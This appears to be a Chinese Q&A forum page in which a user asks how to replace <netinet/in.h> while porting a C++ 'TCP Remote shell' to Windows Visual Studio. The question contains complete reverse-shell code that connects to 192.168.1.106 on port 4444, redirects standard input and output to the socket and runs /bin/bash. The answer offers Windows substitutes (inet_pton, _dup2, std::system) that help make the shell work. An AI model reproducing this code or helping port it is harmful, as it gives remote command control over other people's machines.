【问题标题】:Implement <netinet/in.h> in Windows Visual Studio在 Windows Visual Studio 中实现 <netinet/in.h>
【发布时间】:2020-09-11 06:44:05
【问题描述】:

我目前正在开发一个关于 TCP Remote shell 的 c++ 项目。因此,我构建了以下代码。当我在 Windows 上工作时,我找到了以下所有“#include”的替代库和头文件,&lt;netinet/in.h&gt; 除外

感谢您的帮助!

#include <stdio.h>

#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>

int main(void) {

    int sockt;
    int port = 4444;
    struct sockaddr_in revsockaddr;

    sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");

    connect(sockt, (struct sockaddr*)&revsockaddr,
        sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char* const argv[] = {"/bin/bash", NULL };
    execve("/bin/bash", argv, NULL);

    return 0;

}

''''''

【问题讨论】:

标签: c++ windows visual-studio sockets websocket


【解决方案1】:

不要尝试从 Linux 到 Windows 查找包含文件的匹配项。相反,尝试逐步编译您的代码并添加您需要的那些包含文件。我可以在代码中看到:

  1. 您可以使用inet_pton 代替inet_addr,它位于&lt;Ws2tcpip.h&gt; 包含文件中。
  2. 而不是dub2 在Windows 中使用_dub2,即在&lt;io.h&gt; 内部。
  3. 使用std::system 而不是execve

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2014-02-18
    • 1970-01-01
    • 1970-01-01
    • 2021-01-27
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多